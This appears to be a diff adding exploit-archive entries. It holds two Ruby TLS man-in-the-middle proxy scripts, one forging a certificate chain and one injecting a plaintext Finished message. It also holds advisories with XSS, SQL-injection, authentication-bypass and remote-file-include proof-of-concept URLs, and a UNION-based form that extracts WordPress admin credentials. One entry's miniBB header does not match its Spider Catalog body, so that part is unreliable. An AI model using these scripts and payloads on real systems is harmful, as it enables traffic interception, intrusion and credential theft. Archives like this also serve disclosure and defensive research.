host = ARGV[0] or fail ArgumentError, 'no host given'
|
||||
port = options[:port] || 443
|
||||
verbose = options[:verbose] || false
|
||||
cacert = ARGV[1] or fail ArgumentError, 'no cacert given'
|
||||
key = ARGV[2] or fail ArgumentError, 'no key given'
|
||||
pass_phrase = options[:pass_phrase] || nil
|
||||
cert = ARGV[3] or fail ArgumentError, 'no cert given'
|
||||
subject = options[:subject] || "/C=US/ST=California/L=Mountain View/O=Example Inc/CN=#{host}"
|
||||
|
||||
root_ca_name = OpenSSL::X509::Name.parse('/C=US/O=Root Inc./CN=Root CA')
|
||||
root_ca_key = OpenSSL::PKey::RSA.new(2048)
|
||||
root_ca_cert = OpenSSL::X509::Certificate.new
|
||||
root_ca_cert.issuer = OpenSSL::X509::Name.parse('/C=US/O=Root Inc./CN=Root CA')
|
||||
root_ca_cert.not_after = Time.now + 86400
|
||||
root_ca_cert.not_before = Time.now
|
||||
root_ca_cert.public_key = root_ca_key.public_key
|
||||
root_ca_cert.serial = 0
|
||||
root_ca_cert.subject = root_ca_name
|
||||
root_ca_cert.version = 2
|
||||
extension_factory = OpenSSL::X509::ExtensionFactory.new(root_ca_cert, root_ca_cert)
|
||||
root_ca_cert.add_extension(extension_factory.create_extension('basicConstraints', 'CA:TRUE', true))
|
||||
root_ca_cert.add_extension(extension_factory.create_extension('keyUsage', 'keyCertSign,cRLSign', true))
|
||||
root_ca_cert.add_extension(extension_factory.create_extension('subjectKeyIdentifier', 'hash'))
|
||||
root_ca_cert.sign(root_ca_key, OpenSSL::Digest::SHA1.new)
|
||||
|
||||
inter_ca_name = OpenSSL::X509::Name.parse('/C=US/O=Intermediate Inc./CN=Intermediate CA')
|
||||
inter_ca_key = OpenSSL::PKey::RSA.new(2048)
|
||||
inter_ca_cert = OpenSSL::X509::Certificate.new
|
||||
inter_ca_cert.issuer = root_ca_name
|
||||
inter_ca_cert.not_after = Time.now + 86400
|
||||
inter_ca_cert.not_before = Time.now
|
||||
inter_ca_cert.public_key = inter_ca_key.public_key
|
||||
inter_ca_cert.serial = 0
|
||||
inter_ca_cert.subject = inter_ca_name
|
||||
inter_ca_cert.version = 2
|
||||
extension_factory = OpenSSL::X509::ExtensionFactory.new(root_ca_cert, inter_ca_cert)
|
||||
inter_ca_cert.add_extension(extension_factory.create_extension('basicConstraints', 'CA:TRUE', true))
|
||||
inter_ca_cert.add_extension(extension_factory.create_extension('keyUsage', 'keyCertSign,cRLSign', true))
|
||||
inter_ca_cert.add_extension(extension_factory.create_extension('subjectKeyIdentifier', 'hash'))
|
||||
inter_ca_cert.sign(root_ca_key, OpenSSL::Digest::SHA1.new)
|
||||
|
||||
subinter_ca_cert = OpenSSL::X509::Certificate.new(File.read(cacert))
|
||||
subinter_ca_cert.issuer = inter_ca_name
|
||||
subinter_ca_cert.sign(inter_ca_key, OpenSSL::Digest::SHA1.new)
|
||||
leaf_key = OpenSSL::PKey::RSA.new(File.read(key), pass_phrase)
|
||||
leaf_cert = OpenSSL::X509::Certificate.new(File.read(cert))
|
||||
|
||||
fake_name = OpenSSL::X509::Name.parse(subject)
|
||||
fake_key = OpenSSL::PKey::RSA.new(2048)
|
||||
fake_cert = OpenSSL::X509::Certificate.new
|
||||
fake_cert.issuer = leaf_cert.subject
|
||||
fake_cert.not_after = Time.now + 3600
|
||||
fake_cert.not_before = Time.now
|
||||
fake_cert.public_key = fake_key.public_key
|
||||
fake_cert.serial = 0
|
||||
fake_cert.subject = fake_name
|
||||
fake_cert.version = 2
|
||||
extension_factory = OpenSSL::X509::ExtensionFactory.new(leaf_cert, fake_cert)
|
||||
fake_cert.add_extension(extension_factory.create_extension('basicConstraints', 'CA:FALSE', true))
|
||||
fake_cert.add_extension(extension_factory.create_extension('keyUsage', 'digitalSignature,nonRepudiation,keyEncipherment'))
|
||||
fake_cert.add_extension(extension_factory.create_extension('subjectKeyIdentifier', 'hash'))
|
||||
fake_cert.sign(leaf_key, OpenSSL::Digest::SHA1.new)
|
||||
|
||||
context = OpenSSL::SSL::SSLContext.new
|
||||
context.cert = fake_cert
|
||||
context.extra_chain_cert = [leaf_cert, subinter_ca_cert]
|
||||
context.key = fake_key
|
||||
|
||||
tcp_server = TCPServer.new(local_host, local_port)
|
||||
proxy = OpenSSL::SSL::SSLServer.new(tcp_server, context)
|
||||
|
||||
puts 'Listening on %s:%d' % [proxy.addr[2], proxy.addr[1]] if debug || verbose
|
||||
|
||||
loop do
|
||||
Thread.start(proxy.accept) do |client|
|
||||
puts 'Accepted connection from %s:%d' % [client.peeraddr[2], client.peeraddr[1]] if debug || verbose
|
||||
|
||||
context = OpenSSL::SSL::SSLContext.new(:TLSv1)
|
||||
context.verify_mode = OpenSSL::SSL::VERIFY_NONE
|
||||
|
||||
tcp_socket = TCPSocket.new(host, port)
|
||||
server = OpenSSL::SSL::SSLSocket.new(tcp_socket, context)
|
||||
server.connect
|
||||
|
||||
puts 'Connected to %s:%d' % [server.peeraddr[2], server.peeraddr[1]] if debug || verbose
|
||||
|
||||
loop do
|
||||
readable, = IO.select([client, server])
|
||||
|
||||
readable.each do |r|
|
||||
data = r.readpartial(4096)
|
||||
data.hexdump($stderr) if debug
|
||||
puts '%d bytes received' % [data.bytesize] if debug || verbose
|
||||
|
||||
if file
|
||||
file.write(data)
|
||||
file.flush
|
||||
file.fsync
|
||||
end
|
||||
|
||||
case r
|
||||
when client
|
||||
count = server.write(data)
|
||||
server.flush
|
||||
data.hexdump($stderr) if debug
|
||||
puts '%d bytes sent' % [count] if debug || verbose
|
||||
|
||||
when server
|
||||
count = client.write(data)
|
||||
client.flush
|
||||
data.hexdump($stderr) if debug
|
||||
puts '%d bytes sent' % [count] if debug || verbose
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
client.close
|
||||
server.close
|
||||
end
|
||||
end
|
||||
|
||||
proxy.close
|
||||
250
platforms/multiple/webapps/38641.rb
Executable file
250
platforms/multiple/webapps/38641.rb
Executable file
|
|
@ -0,0 +1,250 @@
|
|||
#!/usr/bin/env ruby
|
||||
# encoding: ASCII-8BIT
|
||||
# By Ramon de C Valle. This work is dedicated to the public domain.
|
||||
|
||||
require 'openssl'
|
||||
require 'optparse'
|
||||
require 'socket'
|
||||
|
||||
Version = [0, 0, 1]
|
||||
Release = nil
|
||||
|
||||
def prf(secret, label, seed)
|
||||
if secret.empty?
|
||||
s1 = s2 = ''
|
||||
else
|
||||
length = ((secret.length * 1.0) / 2).ceil
|
||||
s1 = secret[0..(length - 1)]
|
||||
s2 = secret[(length - 1)..(secret.length - 1)]
|
||||
end
|
||||
|
||||
hmac_md5 = OpenSSL::HMAC.digest(OpenSSL::Digest.new('md5'), s1, label + seed)
|
||||
hmac_md5 = OpenSSL::HMAC.digest(OpenSSL::Digest.new('md5'), s1, hmac_md5 + label + seed)
|
||||
|
||||
hmac_sha1 = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha1'), s2, label + seed)
|
||||
hmac_sha1 = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha1'), s2, hmac_sha1 + label + seed)
|
||||
|
||||
result = ''
|
||||
[hmac_md5.length, hmac_sha1.length].max.times { |i| result << [(hmac_md5.getbyte(i) || 0) ^ (hmac_sha1.getbyte(i) || 0)].pack('C') }
|
||||
result
|
||||
end
|
||||
|
||||
def prf_sha256(secret, label, seed)
|
||||
hmac_sha256 = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), secret, label + seed)
|
||||
OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), secret, hmac_sha256 + label + seed)
|
||||
end
|
||||
|
||||
class String
|
||||
def hexdump(stream=$stdout)
|
||||
0.step(bytesize - 1, 16) do |i|
|
||||
stream.printf('%08x ', i)
|
||||
|
||||
0.upto(15) do |j|
|
||||
stream.printf(' ') if j == 8
|
||||
|
||||
if i + j >= bytesize
|
||||
stream.printf(' ')
|
||||
else
|
||||
stream.printf('%02x ', getbyte(i + j))
|
||||
end
|
||||
end
|
||||
|
||||
stream.printf(' ')
|
||||
|
||||
0.upto(15) do |j|
|
||||
if i + j >= bytesize
|
||||
stream.printf(' ')
|
||||
else
|
||||
if /[[:print:]]/ === getbyte(i + j).chr && /[^[:space:]]/ === getbyte(i + j).chr
|
||||
stream.printf('%c', getbyte(i + j))
|
||||
else
|
||||
stream.printf('.')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
stream.printf("\n")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
options = {}
|
||||
|
||||
OptionParser.new do |parser|
|
||||
parser.banner = "Usage: #{parser.program_name} [options] host"
|
||||
|
||||
parser.separator('')
|
||||
parser.separator('Options:')
|
||||
|
||||
parser.on('-H', '--local-host HOST', 'Local host') do |host|
|
||||
options[:local_host] = host
|
||||
end
|
||||
|
||||
parser.on('-P', '--local-port PORT', 'Local port') do |port|
|
||||
options[:local_port] = port
|
||||
end
|
||||
|
||||
parser.on('-d', '--debug', 'Debug mode') do
|
||||
options[:debug] = true
|
||||
end
|
||||
|
||||
parser.on('-h', '--help', 'Show this message') do
|
||||
puts parser
|
||||
exit
|
||||
end
|
||||
|
||||
parser.on('-o', '--output FILE', 'Output file') do |file|
|
||||
options[:file] = File.new(file, 'w+b')
|
||||
end
|
||||
|
||||
parser.on('-p', '--port PORT', 'Port') do |port|
|
||||
options[:port] = port
|
||||
end
|
||||
|
||||
parser.on('-v', '--verbose', 'Verbose mode') do
|
||||
options[:verbose] = true
|
||||
end
|
||||
|
||||
parser.on('--version', 'Show version') do
|
||||
puts parser.ver
|
||||
exit
|
||||
end
|
||||
end.parse!
|
||||
|
||||
local_host = options[:local_host] || '0.0.0.0'
|
||||
local_port = options[:local_port] || 443
|
||||
debug = options[:debug] || false
|
||||
file = options[:file] || nil
|
||||
host = ARGV[0] or fail ArgumentError, 'no host given'
|
||||
port = options[:port] || 443
|
||||
verbose = options[:verbose] || false
|
||||
|
||||
proxy = TCPServer.new(local_host, local_port)
|
||||
puts 'Listening on %s:%d' % [proxy.addr[2], proxy.addr[1]] if debug || verbose
|
||||
|
||||
loop do
|
||||
Thread.start(proxy.accept) do |client|
|
||||
puts 'Accepted connection from %s:%d' % [client.peeraddr[2], client.peeraddr[1]] if debug || verbose
|
||||
|
||||
finished_sent = false
|
||||
handshake_messages = ''
|
||||
version = ''
|
||||
|
||||
context = OpenSSL::SSL::SSLContext.new(:TLSv1)
|
||||
context.verify_mode = OpenSSL::SSL::VERIFY_NONE
|
||||
|
||||
tcp_socket = TCPSocket.new(host, port)
|
||||
ssl_server = OpenSSL::SSL::SSLSocket.new(tcp_socket, context)
|
||||
ssl_server.connect
|
||||
|
||||
puts 'Connected to %s:%d' % [ssl_server.peeraddr[2], ssl_server.peeraddr[1]] if debug || verbose
|
||||
|
||||
server = TCPSocket.new(host, port)
|
||||
|
||||
puts 'Connected to %s:%d' % [server.peeraddr[2], server.peeraddr[1]] if debug || verbose
|
||||
|
||||
loop do
|
||||
readable, = IO.select([client, server])
|
||||
|
||||
readable.each do |r|
|
||||
if r == ssl_server
|
||||
# ssl_server is an SSL socket; read application data directly
|
||||
header = ''
|
||||
fragment = r.readpartial(4096)
|
||||
fragment.hexdump($stderr) if debug
|
||||
puts '%d bytes received' % [fragment.bytesize] if debug || verbose
|
||||
else
|
||||
header = r.read(5)
|
||||
raise EOFError if header.nil?
|
||||
header.hexdump($stderr) if debug
|
||||
puts '%d bytes received' % [header.bytesize] if debug || verbose
|
||||
|
||||
fragment = r.read(header[3, 2].unpack('n')[0])
|
||||
fragment.hexdump($stderr) if debug
|
||||
puts '%d bytes received' % [fragment.bytesize] if debug || verbose
|
||||
end
|
||||
|
||||
if finished_sent
|
||||
if file
|
||||
# Save application data
|
||||
file.write(fragment)
|
||||
file.flush
|
||||
file.fsync
|
||||
end
|
||||
elsif fragment =~ /^\x0e\x00\x00\x00/ # server_hello_done
|
||||
# Drop the server hello done message and send the finished
|
||||
# message in plaintext.
|
||||
if header[2, 1] == "\x03"
|
||||
verify_data = prf_sha256('', 'server finished', OpenSSL::Digest::SHA256.digest(handshake_messages))
|
||||
verify_data = verify_data[0, 12]
|
||||
else
|
||||
verify_data = prf('', 'server finished', OpenSSL::Digest::MD5.digest(handshake_messages) + OpenSSL::Digest::SHA1.digest(handshake_messages))
|
||||
verify_data = verify_data[0, 12]
|
||||
end
|
||||
|
||||
finished = "\x14#{[verify_data.length].pack('N')[1, 3]}#{verify_data}"
|
||||
record = header[0, 3] + [finished.length].pack('n') + finished
|
||||
|
||||
count = client.write(record)
|
||||
client.flush
|
||||
record.hexdump($stderr) if debug
|
||||
puts '%d bytes sent' % [count] if debug || verbose
|
||||
|
||||
finished_sent = true
|
||||
|
||||
# Change to the SSL socket
|
||||
server.close
|
||||
server = ssl_server
|
||||
|
||||
# Save version used in the handshake
|
||||
version = header[2, 1]
|
||||
|
||||
next
|
||||
else
|
||||
# Save handshake messages
|
||||
handshake_messages << fragment
|
||||
end
|
||||
|
||||
case r
|
||||
when client
|
||||
if finished_sent
|
||||
# server is an SSL socket
|
||||
count = server.write(fragment)
|
||||
server.flush
|
||||
fragment.hexdump($stderr) if debug
|
||||
puts '%d bytes sent' % [count] if debug || verbose
|
||||
else
|
||||
# server isn't an SSL socket
|
||||
record = header + fragment
|
||||
count = server.write(record)
|
||||
server.flush
|
||||
record.hexdump($stderr) if debug
|
||||
puts '%d bytes sent' % [count] if debug || verbose
|
||||
end
|
||||
|
||||
when ssl_server
|
||||
# client isn't an SSL socket; add the record layer header with
|
||||
# the same version used in the handshake.
|
||||
header = "\x17\x03#{version}" + [fragment.length].pack('n')
|
||||
record = header + fragment
|
||||
count = client.write(record)
|
||||
client.flush
|
||||
record.hexdump($stderr) if debug
|
||||
puts '%d bytes sent' % [count] if debug || verbose
|
||||
|
||||
when server
|
||||
record = header + fragment
|
||||
count = client.write(record)
|
||||
client.flush
|
||||
record.hexdump($stderr) if debug
|
||||
puts '%d bytes sent' % [count] if debug || verbose
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
client.close
|
||||
server.close
|
||||
end
|
||||
end
|
||||
|
||||
proxy.close
|
||||
9
platforms/php/webapps/38621.txt
Executable file
9
platforms/php/webapps/38621.txt
Executable file
|
|
@ -0,0 +1,9 @@
|
|||
source: http://www.securityfocus.com/bid/60862/info
|
||||
|
||||
The Xorbin Digital Flash Clock plugin for WordPress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.
|
||||
|
||||
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
|
||||
|
||||
Xorbin Digital Flash Clock 1.0 is vulnerable; other versions may also be affected.
|
||||
|
||||
http://www.example.com/wordpress/wp-content/plugins/xorbin-digital-flash-clock/media/xorDigitalClock.swf#?widgetUrl=javascript:alert(1);
|
||||
7
platforms/php/webapps/38624.txt
Executable file
7
platforms/php/webapps/38624.txt
Executable file
|
|
@ -0,0 +1,7 @@
|
|||
source: http://www.securityfocus.com/bid/60904/info
|
||||
|
||||
WP Feed plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
|
||||
|
||||
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
||||
|
||||
http://www.example.com/wp-content/plugins/feed/news_dt.php?nid=[Sql]
|
||||
7
platforms/php/webapps/38625.txt
Executable file
7
platforms/php/webapps/38625.txt
Executable file
|
|
@ -0,0 +1,7 @@
|
|||
source: http://www.securityfocus.com/bid/60905/info
|
||||
|
||||
The Category Grid View Gallery plugin for WordPress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.
|
||||
|
||||
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
|
||||
|
||||
http://www.example.com/wp-content/plugins/category-grid-view-gallery/includes/CatGridPost.php?ID=1172[xss]
|
||||
9
platforms/php/webapps/38628.txt
Executable file
9
platforms/php/webapps/38628.txt
Executable file
|
|
@ -0,0 +1,9 @@
|
|||
source: http://www.securityfocus.com/bid/60958/info
|
||||
|
||||
HostBill is prone to an authentication-bypass vulnerability.
|
||||
|
||||
Attackers can exploit this issue to gain unauthorized access to the affected application and disclose sensitive information.
|
||||
|
||||
HostBill 4.6.0 is vulnerable; other versions may also be affected.
|
||||
|
||||
www.example.com/includes/cpupdate.php?do=backup&filename=../templates_c/DB_Dump.txt&login_username=0&password=0
|
||||
12
platforms/php/webapps/38630.html
Executable file
12
platforms/php/webapps/38630.html
Executable file
|
|
@ -0,0 +1,12 @@
|
|||
source: http://www.securityfocus.com/bid/61026/info
|
||||
|
||||
phpVibe is prone to an information-disclosure vulnerability and multiple remote file-include vulnerabilities.
|
||||
|
||||
An attacker can exploit these issues to obtain potentially sensitive information or execute malicious PHP code in the context of the web server process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible.
|
||||
|
||||
phpVibe 3.1 is vulnerable; other versions may also be affected.
|
||||
|
||||
http://www.example.com/phpVibe/index.php?com_handler=[EV!L]
|
||||
http://www.example.com/phpVibe/app/classes/language.php?LANGUAGE_DIR=[EV!L]
|
||||
http://www.example.com/phpVibe/app/classes/language.php?lang=[EV!L]
|
||||
http://www.example.com/setup/application/views/displays/modules/backups/
|
||||
9
platforms/php/webapps/38635.txt
Executable file
9
platforms/php/webapps/38635.txt
Executable file
|
|
@ -0,0 +1,9 @@
|
|||
source: http://www.securityfocus.com/bid/61086/info
|
||||
|
||||
iVote is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
|
||||
|
||||
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
||||
|
||||
iVote 1.0.0 is vulnerable; other versions may be affected.
|
||||
|
||||
http://www.example.com/iVote/details.php?id=1 union select 1,password,3,4 from settings
|
||||
12
platforms/php/webapps/38638.txt
Executable file
12
platforms/php/webapps/38638.txt
Executable file
|
|
@ -0,0 +1,12 @@
|
|||
source: http://www.securityfocus.com/bid/61114/info
|
||||
|
||||
Mintboard is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
|
||||
|
||||
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
|
||||
|
||||
Mintboard 0.3 is vulnerable; other versions may also be affected.
|
||||
|
||||
http://www.example.com/?login=3 (POST: name)
|
||||
http://www.example.com/?login=3 (POST: pass)
|
||||
http://www.example.com/?signup=3 (POST: name)
|
||||
http://www.example.com/?signup=3 (POST: pass)
|
||||
971
platforms/php/webapps/38639.txt
Executable file
971
platforms/php/webapps/38639.txt
Executable file
|
|
@ -0,0 +1,971 @@
|
|||
source: http://www.securityfocus.com/bid/61116/info
|
||||
|
||||
miniBB is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities.
|
||||
|
||||
Successful exploits could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
||||
|
||||
miniBB 3.0.0 is vulnerable; other versions may also be affected.
|
||||
|
||||
Php script "catalog.php" line 101:
|
||||
------------------------[ source code start ]----------------------------------
|
||||
add_shortcode('Spider_Catalog_Category', 'Spider_Catalog_Products_list_shotrcode');
|
||||
|
||||
function Spider_Catalog_Single_product_shotrcode($atts) {
|
||||
extract(shortcode_atts(array(
|
||||
'id' => '',
|
||||
), $atts));
|
||||
return spider_cat_Single_product($id);
|
||||
}
|
||||
add_shortcode('Spider_Catalog_Product', 'Spider_Catalog_Single_product_shotrcode');
|
||||
...
|
||||
function spider_cat_Single_product($id)
|
||||
{
|
||||
...
|
||||
return front_end_single_product($id);
|
||||
|
||||
Php script "front_end_functions.php" line 18:
|
||||
------------------------[ source code start ]----------------------------------
|
||||
function front_end_single_product($id)
|
||||
{
|
||||
...
|
||||
$product_id=$id;
|
||||
...
|
||||
$query = "SELECT ".$wpdb->prefix."spidercatalog_products.*,
|
||||
".$wpdb->prefix."spidercatalog_product_categories.name as cat_name FROM
|
||||
".$wpdb->prefix."spidercatalog_products left join
|
||||
".$wpdb->prefix."spidercatalog_product_categories on
|
||||
".$wpdb->prefix."spidercatalog_products.category_id=
|
||||
".$wpdb->prefix."spidercatalog_product_categories.id where
|
||||
".$wpdb->prefix."spidercatalog_products.id='".$product_id."' and
|
||||
".$wpdb->prefix."spidercatalog_products.published = '1' ";
|
||||
$rows = $wpdb->get_results($query);
|
||||
------------------------[ source code end ]----------
|
||||
|
||||
As seen above, parameter "id" is used in SQL query without any sanitization,
|
||||
which leads to SQL Injection vulnerability.
|
||||
|
||||
Tests:
|
||||
|
||||
Log in as user with posting privileges and use shortcode as below:
|
||||
|
||||
[Spider_Catalog_Product id="0' UNION SELECT 1,2,3,@@version,5,6,7,8,9,10,11,12#"]
|
||||
|
||||
Now open webpage containing specific post and MySQL version info will be revealed.
|
||||
|
||||
Second test:
|
||||
|
||||
[Spider_Catalog_Product id="0' UNION SELECT 1,2,3,(SELECT CONCAT_WS(0x3a,user_login,user_pass)FROM wp_users WHERE ID=1),5,6,7,8,9,10,11,12#"]
|
||||
|
||||
As result, sensitive information (username and hashed password) will be revealed
|
||||
for Wordpress user with ID 1 (usually admin).
|
||||
|
||||
SQL Injection in other shortcode can be exploited in similar way:
|
||||
|
||||
[Spider_Catalog_Category id="0 UNION SELECT 1,2,@@version,4,5,6,7,8#"]
|
||||
|
||||
... and we can see MySQL version info (look at the html source code):
|
||||
|
||||
<a style="cursor:pointer;" onclick="catt_idd_1(5.5.30)" >Back to Catalog
|
||||
|
||||
|
||||
###############################################################################
|
||||
2. SQL Injection in "catalog.php" function "catalog_after_search_results()"
|
||||
###############################################################################
|
||||
|
||||
Reason:
|
||||
1. insufficient sanitization of user-supplied data
|
||||
Attack vector:
|
||||
1. user-supplied parameter "s"
|
||||
Preconditions: none
|
||||
|
||||
|
||||
Php script "catalog.php" line 39:
|
||||
------------------------[ source code start ]----------------------------------
|
||||
function catalog_after_search_results($query){
|
||||
global $wpdb;
|
||||
if(isset($_REQUEST['s']) && $_REQUEST['s']){
|
||||
$serch_word=htmlspecialchars(stripslashes($_REQUEST['s']));
|
||||
$query=str_replace($wpdb->prefix."posts.post_content",
|
||||
gen_string_catalog_search($serch_word,$wpdb->prefix.'posts.post_content')
|
||||
." ".$wpdb->prefix."posts.post_content",$query);
|
||||
}
|
||||
return $query;
|
||||
|
||||
}
|
||||
add_filter( 'posts_request', 'catalog_after_search_results');
|
||||
------------------------[ source code end ]------------------------------------
|
||||
|
||||
User-submitted parameter "s" is prepared with functions "stripslashes" and
|
||||
"htmlspecialchars" and then used in SQL query in Wordpress seach functionality.
|
||||
Stripping slashes from parameter "s" nullifies "magic_quotes_gpc" effect and
|
||||
"htmlspecialchars" is suppose to be used for sanitization. Still, it is known,
|
||||
that "htmlspecialchars" function by default does not modify single quotes,
|
||||
which leads to SQL Injection vulnerability.
|
||||
Specific SQL Injection can be exploited using "Nested SQL Injection" method.
|
||||
|
||||
Tests:
|
||||
|
||||
first we need to make sure, that Wordpress will show SQL errors.
|
||||
Let's open the file "wp-includes/wp-db.php" and change the line
|
||||
|
||||
var $show_errors = false;
|
||||
|
||||
to the line below:
|
||||
|
||||
var $show_errors = true;
|
||||
|
||||
Then let's issue GET request:
|
||||
|
||||
http://localhost/wp351/?s=war'axe
|
||||
|
||||
As result SQL errors will be shown on webpage:
|
||||
|
||||
WordPress database error: [You have an error in your SQL syntax; check the manual
|
||||
that corresponds to your MySQL server version for the right syntax to use near 'axe%')
|
||||
OR (name LIKE '%war'axe%')' at line 1]
|
||||
SELECT * FROM wp_spidercatalog_product_categories WHERE
|
||||
(description LIKE '%war'axe%') OR (name LIKE '%war'axe%')
|
||||
|
||||
This confirms SQL Injection existence. Now let's try exploitation, which can be
|
||||
done using either GET or POST method. PoC code below uses POST method.
|
||||
|
||||
<html><body><center>
|
||||
<form action="http://localhost/wp351/" method="post">
|
||||
<input type="hidden" name="s" value="')UNION SELECT CONCAT(0x27,')))UNION SELECT 1,1,1,1,1,(SELECT CONCAT_WS(0x3a,user_login,user_pass)FROM wp_users WHERE ID=1),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1',0x23),1,1,1,1,1,1,1#">
|
||||
<input type="submit" value="Test">
|
||||
</form>
|
||||
</center></body></html>
|
||||
|
||||
After clicking "Test" button POST request will be made and resulting web page
|
||||
reveals username and password hash for Wordpress user with ID 1.
|
||||
|
||||
|
||||
|
||||
###############################################################################
|
||||
3. SQL Injection in "Categories.php" function "change_cat()"
|
||||
###############################################################################
|
||||
|
||||
Reason:
|
||||
1. insufficient sanitization of user-supplied data
|
||||
Attack vector:
|
||||
1. user-supplied GET parameter "id"
|
||||
Preconditions:
|
||||
1. must be logged in as Wordpress admin
|
||||
|
||||
|
||||
Php script "Categories.php" line 491:
|
||||
------------------------[ source code start ]----------------------------------
|
||||
function change_cat( $id ){
|
||||
global $wpdb;
|
||||
$published=$wpdb->get_var("SELECT published FROM
|
||||
".$wpdb->prefix."spidercatalog_product_categories WHERE `id`=".$id );
|
||||
------------------------[ source code end ]------------------------------------
|
||||
|
||||
Tests:
|
||||
|
||||
first we need to make sure, that Wordpress will show SQL errors.
|
||||
Let's open the file "wp-includes/wp-db.php" and change the line
|
||||
|
||||
var $show_errors = false;
|
||||
|
||||
to the line below:
|
||||
|
||||
var $show_errors = true;
|
||||
|
||||
Now log in as Wordpress admin and then issue GET request as below:
|
||||
|
||||
http://localhost/wp351/wp-admin/admin.php?page=Categories_Spider_Catalog&task=publish_cat&id=waraxe
|
||||
|
||||
As result SQL errors will be shown on webpage:
|
||||
|
||||
WordPress database error: [Unknown column 'waraxe' in 'where clause']
|
||||
SELECT published FROM wp_spidercatalog_product_categories WHERE `id`=waraxe
|
||||
|
||||
This confirms SQL Injection existence.
|
||||
|
||||
|
||||
###############################################################################
|
||||
4. SQL Injection in "Categories.php" function "editCategory()"
|
||||
###############################################################################
|
||||
|
||||
Reason:
|
||||
1. insufficient sanitization of user-supplied data
|
||||
Attack vector:
|
||||
1. user-supplied GET parameter "id"
|
||||
Preconditions:
|
||||
1. must be logged in as Wordpress admin
|
||||
|
||||
|
||||
Php script "Categories.php" line 338:
|
||||
------------------------[ source code start ]----------------------------------
|
||||
function editCategory($id)
|
||||
{
|
||||
...
|
||||
$query="SELECT * FROM ".$wpdb->prefix."spidercatalog_product_categories
|
||||
WHERE id='".$id."'";
|
||||
$row=$wpdb->get_row($query);
|
||||
------------------------[ source code end ]------------------------------------
|
||||
|
||||
Tests:
|
||||
|
||||
first we need to make sure, that Wordpress will show SQL errors.
|
||||
Let's open the file "wp-includes/wp-db.php" and change the line
|
||||
|
||||
var $show_errors = false;
|
||||
|
||||
to the line below:
|
||||
|
||||
var $show_errors = true;
|
||||
|
||||
Now log in as Wordpress admin and then issue GET request as below:
|
||||
|
||||
http://localhost/wp351/wp-admin/admin.php?page=Categories_Spider_Catalog&task=edit_cat&id=waraxe
|
||||
|
||||
As result SQL errors will be shown on webpage:
|
||||
|
||||
WordPress database error: [Unknown column 'waraxe' in 'where clause']
|
||||
SELECT * FROM wp_spidercatalog_product_categories WHERE id!=waraxe and parent=0
|
||||
|
||||
This confirms SQL Injection existence.
|
||||
|
||||
|
||||
###############################################################################
|
||||
5. SQL Injection in "Categories.php" function "apply_cat()"
|
||||
###############################################################################
|
||||
|
||||
Reason:
|
||||
1. insufficient sanitization of user-supplied data
|
||||
Attack vector:
|
||||
1. user-supplied GET parameter "id"
|
||||
Preconditions:
|
||||
1. must be logged in as Wordpress admin
|
||||
|
||||
|
||||
Php script "Categories.php" line 570:
|
||||
------------------------[ source code start ]----------------------------------
|
||||
function apply_cat($id)
|
||||
{
|
||||
...
|
||||
$cat_row=$wpdb->get_results("SELECT * FROM
|
||||
".$wpdb->prefix."spidercatalog_product_categories
|
||||
WHERE id!=" .$_GET['id']. " ");
|
||||
------------------------[ source code end ]------------------------------------
|
||||
|
||||
Tests:
|
||||
|
||||
first we need to make sure, that Wordpress will show SQL errors.
|
||||
Let's open the file "wp-includes/wp-db.php" and change the line
|
||||
|
||||
var $show_errors = false;
|
||||
|
||||
to the line below:
|
||||
|
||||
var $show_errors = true;
|
||||
|
||||
Now log in as Wordpress admin and then issue GET request as below:
|
||||
|
||||
http://localhost/wp351/wp-admin/admin.php?page=Categories_Spider_Catalog&task=save&id=waraxe
|
||||
|
||||
As result SQL errors will be shown on webpage:
|
||||
|
||||
WordPress database error: [Unknown column 'waraxe' in 'where clause']
|
||||
SELECT * FROM wp_spidercatalog_product_categories WHERE id!=waraxe
|
||||
|
||||
This confirms SQL Injection existence.
|
||||
|
||||
|
||||
###############################################################################
|
||||
6. SQL Injection in "Categories.php" function "removeCategory()"
|
||||
###############################################################################
|
||||
|
||||
Reason:
|
||||
1. insufficient sanitization of user-supplied data
|
||||
Attack vector:
|
||||
1. user-supplied GET parameter "id"
|
||||
Preconditions:
|
||||
1. must be logged in as Wordpress admin
|
||||
|
||||
|
||||
Php script "Categories.php" line 519:
|
||||
------------------------[ source code start ]----------------------------------
|
||||
function removeCategory($id)
|
||||
{
|
||||
...
|
||||
$sql_remov_tag="DELETE FROM ".$wpdb->prefix."spidercatalog_product_categories
|
||||
WHERE id='".$id."'";
|
||||
if(!$wpdb->query($sql_remov_tag))
|
||||
------------------------[ source code end ]------------------------------------
|
||||
|
||||
Tests:
|
||||
|
||||
first we need to make sure, that Wordpress will show SQL errors.
|
||||
Let's open the file "wp-includes/wp-db.php" and change the line
|
||||
|
||||
var $show_errors = false;
